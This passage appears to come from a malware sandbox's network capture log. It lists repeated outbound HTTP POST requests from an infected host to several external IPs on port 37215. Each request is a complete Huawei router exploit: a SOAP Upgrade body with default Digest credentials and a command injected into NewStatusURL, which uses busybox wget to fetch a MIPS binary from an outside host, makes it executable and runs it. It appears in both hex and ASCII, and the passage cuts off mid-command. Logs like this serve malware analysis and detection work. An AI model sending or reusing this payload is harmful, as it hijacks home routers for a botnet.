70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:30.168860912 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:33.820784092 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.20	41908	156.254.84.217	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:31.207070112 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:32.684763908 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:34.464791059 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:38.028867006 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.20	34698	154.206.140.148	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:31.240868092 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:32.892873049 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:34.872898102 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh 